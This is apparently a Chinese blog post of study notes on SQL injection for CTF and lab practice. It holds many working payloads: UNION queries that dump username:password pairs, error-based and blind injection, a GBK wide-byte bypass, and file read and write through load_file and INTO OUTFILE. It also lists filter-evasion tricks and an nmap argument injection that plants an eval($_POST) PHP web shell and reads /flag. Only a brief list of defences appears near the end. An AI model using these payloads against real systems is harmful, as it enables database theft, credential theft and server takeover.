GROUP BY 会把vT2 生成的表按照GROUP BY 中的列进行分组,生成vT3。
4、HAVING
HAVING 这个子句对vT3 表中的不同分组进行过滤,满足HAVING 条件的子句被加入到VT4 表中。
5、select
SELECT 这个子句对SELECT 子句中的元素进行处理,生成vT5表。

计算表达式,计算SELECT 子句中的表达式,生成vT5-1
DISTINCT 寻找VT5-1 表中重复的列,并删掉,生成VT5-2
TOP 从ORDER BY 子句定义的结果中,筛选出符合条件的列。生成vT5-3
6、ORDER BY 从VT5-3 中的表,根据ORDER BY子句中的结果进行排序,生成VT6


复制代码
查询指定数据库有哪些表:
?id=33 and 1=2 UNION SELECT 1,2,3,4,5,6,7,8,9,10,hex(group_concat(table_name)),12,13,14,15 from information_schema.tables where table_schema=database() --+

查询指定表中有哪些字段:
?id=33 and 1=2 UNION SELECT 1,2,3,4,5,6,7,8,9,10,hex(group_concat(column_name)),12,13,14,15 from information_schema.columns where table_schema=database() and table_name= 'cms_users' --+
或者将cms_users转换为16进制,使用hex();记住在前面加上 0x表示这是16进制数
?id=33 and 1=2 UNION SELECT 1,2,3,4,5,6,7,8,9,10,hex(group_concat(column_name)),12,13,14,15 from information_schema.columns where table_schema=database() and table_name= 0x636d735f7573657273 --+

查询指定表中有几条记录:
?id=33 and 1=2 UNION SELECT 1,2,3,4,5,6,7,8,9,10,count(*),12,13,14,15 from cms_users--+

查询表中记录:
?id=33 and 1=2 UNION SELECT 1,2,3,4,5,6,7,8,9,10,concat(username,':',password),12,13,14,15 from cms_users--+

列出所有记录
?id=33 and 1=2 UNION SELECT 1,2,3,4,5,6,7,8,9,10,group_concat(username,':',password),12,13,14,15 from cms_users--+



复制代码

 ?id=33 and 1=2 UNION SELECT 1,2,3,4,5,6,7,8,9,10,hex(group_concat(table_name)),12,13,14,15 from information_schema.tables where table_schema=database() --+

<==>

?id=33 and 1=2 UNION SELECT 1,2,3,4,5,6,7,8,9,10,(select hex(group_concat(table_name)) from information_schema.tables where table_schema=database()),12,13,14,15 --+




报错注入:
?id=2' and updatexml(1,concat('^',(select version()),'^'),1)  --+

注:只有联合注入需要 and 1=2的条件

 




布尔盲注:
  

 


 延时注入:


 ---------------------------------------------------------------------------------------------------------------------------------------------



注意: 联合查询 看是否有回显
是否有报错 报错注入
是否有布尔类型状态 布尔盲注
绝招 延时注入


sqlmap(kali中自带)工具进行sql注入

sqlmap -r post文件名 :检测post注入漏洞

 https://www.bilibili.com/video/BV1Lf4y1t7Mc?p=197

 
复制代码

 

 返回目录

 

 

其他注入

复制代码
 
读取文件:(host文件)
?id=33 and 1=2 UNION SELECT 1,2,3,4,5,6,7,8,9,10,load_file('C:\\Windows\\System32\\drivers\\etc\\hosts'),12,13,14,15--+

写入文件:
?id=33 and 1=2 UNION SELECT 1,2,3,4,5,6,7,8,9,10,"<?phph phpinfo() ?>",12,13,14,15 into outfile "D:\\phpstudy_pro\WWW\\2.php"--+

 



宽字节注入:
复制代码
    宽字节注入准确来说不是注入手法,而是另外一种比较特殊的情况。为了说明宽字节注入问题,我们以SQLi-labs 32 关为例子。
    使用【?id=1'】进行测试的时候,发现提交的单引号会被转移【\'】。此时,转义后的单引号不再是字符串的标识,会被作为普通字符带入数据库查询。也就是说,我们提交的单引号不会影响到原来SQL 语句的结构。
    我们通过阅读32 关的源码,发现几句非常意思的代码,如下。
      此网页在连接数据库时,会将字符编码设置为GBK 编码集合,然后进行SQL 语句拼接,最后进行数据库查询。
   GBK编码依然采用双字节编码方案,其编码范围∶8140一FEFE,剔除xx7F码位,共23940个码位。共收录汉字和图形符号21886个,其中汉字(包括部首和构件)21003个,图形符号883个。
GBK编码支持国际标准ISO/IEC10646-1和国家标准GB13000-1中的全部中日韩汉字,并包含了BIG5编码中的所有汉字。GBK编码方案于1995年12月15日正式发布,这一版的GBK规范为1.0 版。 转义字符【\】 的编码是5c,正好在GBK编码范围之内,也就是说我们可以在单引号之前提交一个十六进制编码的字符,与5c 组成一个GBK 编码的汉字。这样SQL 语句传入数据库的时候,转移字符5c,
会被看作GBK 汉字的低位字节编码,从而失去转义的作用。 如果我们提交这样的参数 ?id=1%df'  and 1=2 UNION SELECT 1,2,3 --+
,就可以使用联合查询进行注入了。
复制代码

 

 

cookie注入:


base64注入:




注入类型探测:

 

 


 

 试例:(有的需要配合burp使用,即半自动化注入;使用sqlmap或自动化脚本的为全自动化注入;)

 

 

复制代码
?id=1' and (ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))>97)--+ 
表示 查询的数据库中的第一个表的第一个字母的ASCII码大于97 然后改变大于号后面的数字,查找到第一个字符的ASCII码, 再改变substr()函数的第二个参数值获取下一个字符,改变limit子句判断下一个表名。
limit 表示返回指定的记录,
如:limit 0,1 表示返回第0条,到第1条记录;即返回1条记录

报错注入(爆破数据库格式):
name=admin'and updatexml(1,concat(0x5e,(selselectect group_concat(table_name) from information_schema.tables where table_schema=database()),0x5e),1) #&pass=admin
注意:有时 select 会被过滤
复制代码

 

详细讲解:
https://www.bilibili.com/video/BV1Lf4y1t7Mc?p=198
https://www.bilibili.com/video/BV1Lf4y1t7Mc?p=199


复制代码

 

 返回目录

 

 

SQL注入补充

and被彻底过滤或加入黑名单:

1、尝试用 && 代替

2、尝试用 %26%26 (&&的URL编码)代替

 

=被彻底过滤或加入黑名单

1、使用 like 代替

2、rlike (和like用法一样)

3、regexp(和like用法一样)

 

空格被彻底过滤或加入黑名单

1、使用 /**/代替

2、使用/!**/代替

3、使用<>代替

4、使用()代替

 

  eg:         

select database()  <==>  select(database())
select
group_concat(table_name) from information_schema.tables where table_schema like database() <===> select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(database())

 

^绕过and和空格

?uasename=kl'^updatexml(1,concat(0x5e,(select(database())),0x5e),1)  <==> ?uasename=kl' and updatexml(1,concat(0x5e,(select(database())),0x5e),1)
^难道可以代替 and (and 空格)  ????

sql中的^是异或判断当两边相同的时候,输出值为0,如1^1=0,1^0=1
大概在这里应用就是假^假 =假 ,真^真=假,假^真=真,真^假=真

输出不全

若是 substr/substring/mid 都被彻底过滤或加入黑名单,尝试使用 left("字符串",参数) right("字符串",参数)
前者表示从左边开始截取,到指定的位置停止,最大返回30个字符(从左开始输出指定个数的字符)
后者表示从右边开始截取,到指定的位置停止,最多返回30个字符(从右开始输出指定个数的字符)
若是一次输不全,就和这两个函数使用,left的参数和right的参数一致时,注意重复的字符!!
concat最大能返回30个字符

复制代码
?username=gf'^updatexml(1,(concat(0x5e,((select(left(password,30))from(H4rDsq1))),0x5e)),1)%23
&password=45
?username=gf'^updatexml(1,(concat(0x5e,((select(right(password,30))from(H4rDsq1))),0x5e)),1)%23
&password=45
或者:
?username=gf
'^updatexml(1,right(concat(0x5e,(select(group_concat(username,':',password))from(H4rDsq1)),0x5e),32),1)%23 &password=45
然后将其拼接起来,注意可能有重复的部分
复制代码

 

?username=gf'^updatexml(1,(concat(0x5e,((select(left(password,30))from(H4rDsq1))),0x5e)),1)%23
&password=45

where table_schema=数据库名 and table_name=表名 <==>  where 数据库名.表名

 参考:

SQL注入过滤的绕过 - 腾讯云开发者社区-腾讯云 (tencent.com)

 

 

sqli注入(即SQL注入):

sqli的联合注入有特性

在使用联合注入时,如果你查询的数据不存在,那么就会生成一个内容为null的虚拟数据,
也就是说在联合查询并不存在的数据时,联合查询就会构造一个虚拟的数据。
所以这时我们就可以在注入时添加我们需要的信息来完成我们的目的。

即,例如当我们查询的password不存在时,我们可以在密码所在的字段添加我们编造的密码,
然后再把密码变量赋值为我们编造的那个密码
例如:(admin用户名存在,第三个字段为密码字段,pw为表示密码的那个变量)

name=sa' union select 1,'admin','123456'--+&pw=123456

 

在密码变量的后面加上[],会得到密码在数据库中储存时的编码方法

eg:

name=sa' union select 1,'admin',3--+&pw[]=sd 

但是它是只有在特定情况下有效?还是只在 sqli 中都有效???

 

base32与base64编码的特点

1、base32 只有大写字母和数字数字组成,或者后面有三个等号。
2、base64 只有大写字母和数字,小写字母组成,后面一般是两个等号。

 

https://www.cnblogs.com/WeQi-Blog/p/15430707.html

 

常见有效防御措施:

1、使用预编译语句,绑定变量
2、使用储存过程,但要尽量避免储存过程中使用动态SQL语句,如果无法避免,则应该使用严格的输入过滤或者是编码函数来处理用户的输入数据。
3、检查数据类型
4、使用安全函数
5、使用最小权限原则,避免Web应用直接使用root、dbowner 等高权限账户直接连接数据库。Web应用使用的数据库账户,不应该有创建自定义函数、操作本地文件的权限。

 返回目录

 

nmap补充:

 

若是遇到nmap扫描类型的题,它很可能是因为escapeshellarg()函数和escapeshellcmd()这两个函数混用产生的安全隐患 。

 

可以利用nmap中 -oG 命令来向其中注入木马

 

形式:' 木马 -oG 文件名 '    (注意:前后单引号与中间内容隔一个空格)

 

host=127.0.0.1 ' <?php @eval($_POST["1"]); ?> -oG hasck.phtml ' 
host=127.0.0.1 | ' <?= @eval($_POST["1"]); ?> -oG 1.phtml ' 
host=' <?= @eval($_POST["1"]); ?> -oG 2.phtml ' (截图2)
在特定情况下,可以用 <?= ?> 代替 <?php ?>
若是遇到过滤php字符的情况可以试试,注意与过滤 <? 向区分

 

它会把文件会保存在与当前页面同级的目录下

 

即:若当前执行命令的页面是 /result.php?f=bd976
则我们保存的文件在 / 目录下(在同一目录下)

 

若是知道文件位置:

 

还可以用 -iL和 -oN 读取文件

 

 -iL :
 从inputfilename文件中读取扫描的目标。在这个文件中要有一个主机或者网络的列表,由空格键、制表键或者回车键作为分割符。
如果使用-iL-,nmap就会从标准输入stdin读取主机名字。你可以从指定目标一节得到更加详细的信息 -oN :
把扫描结果重定向到一个可读的文件logfilename中。

 

eg:  host=127.0.0.1’ -iL /flag -oN 5.txt ’

 

然后直接访问 5.txt 文件即可

 

参考实验:

 

https://blog.csdn.net/qq_52907838/article/details/119115412
https://www.bilibili.com/read/cv18809872

 

SQL注入补充2:

1)gruop by 可以代替 order by

2)若是在注入时:#、--+等注释符被过滤,%23会被直接带入语句查询,而不是先被URL解码,再带入查询;

此时可以使用闭合符号代替注释符:

-1'union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,'17   (测试是否存在17个字段, ' 是闭合符)
<==> -1'union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17# 

'17 除了可以代替注释符之外,17还有实际意义,表示第17个字段 
要测试的最大字段数的最大值要放在 ' 之后
但注意在group by 或order by 时,略有不同:

-1'group by 23,'5 

'5只是代替注释符,5(也可以是其他数字)并没有实际意义
也可以不写 :

-1'group by 23,'

 3)若是 information_schema.tables被过滤,则使用无列名注入方式:

Maria数据库的这个表可以查表名:mysql.innodb_table_stats
-1'union select 1,(select group_concat(table_name) from mysql.innodb_table_stats),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22
查表中的数据(其他数据库,若是找到表名也可以用它来查询字段内容)
-1'union select 1,(select group_concat(b) from(select 1,2 as a,3 as b union select * from users)as x),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22

 注意:查询表中字段的内容时,要注意表中有几个字段;上例中( select 1,2 as a,3 as b union select * from users )表示表中有三个字段,数字的个数表示字段的个数

参考实验:

https://www.cnblogs.com/WeQi-Blog/p/15590001.html

 

布尔盲注:

sql盲注分为 : 布尔盲注、延时注入、报错注入(至于报错注入我也不太确认是否属于盲注,等待以后求证吧)

 

对于布尔盲注,若是过滤许多东西,但是没有过滤 ^,

则:可以使用异或操作来进行注入:1^1=0,0^0=0,1^0=1。
还可以1^0=1 1^1=0 来判断闭合方式(数字型还是字符型)。因为如果是字符型,不会执行^

?id=1^1
?id=1^0
观察页面的回显,然后构造 类似 1^payload 或 0^payload ;观察页面回显

注意:若是只有一个数据库时,在查询表中字段时,可以不用加上 table_schema=数据库名,直接 where table_name='表名'即可

参考:

https://www.bilibili.com/read/cv19124782

https://www.cnblogs.com/shenjuxian/p/13976708.html

https://www.cnblogs.com/Q-and-K/p/16204217.html

https://www.cnblogs.com/Article-kelp/p/14651000.html

 

posted @   咿呀鲸落  阅读(619)  评论(0编辑  收藏  举报
相关博文:
阅读排行:
· Manus重磅发布:全球首款通用AI代理技术深度解析与实战指南
· 被坑几百块钱后,我竟然真的恢复了删除的微信聊天记录!
· 没有Manus邀请码?试试免邀请码的MGX或者开源的OpenManus吧
· 园子的第一款AI主题卫衣上架——"HELLO! HOW CAN I ASSIST YOU TODAY
· 【自荐】一款简洁、开源的在线白板工具 Drawnix
点击右上角即可分享
微信分享提示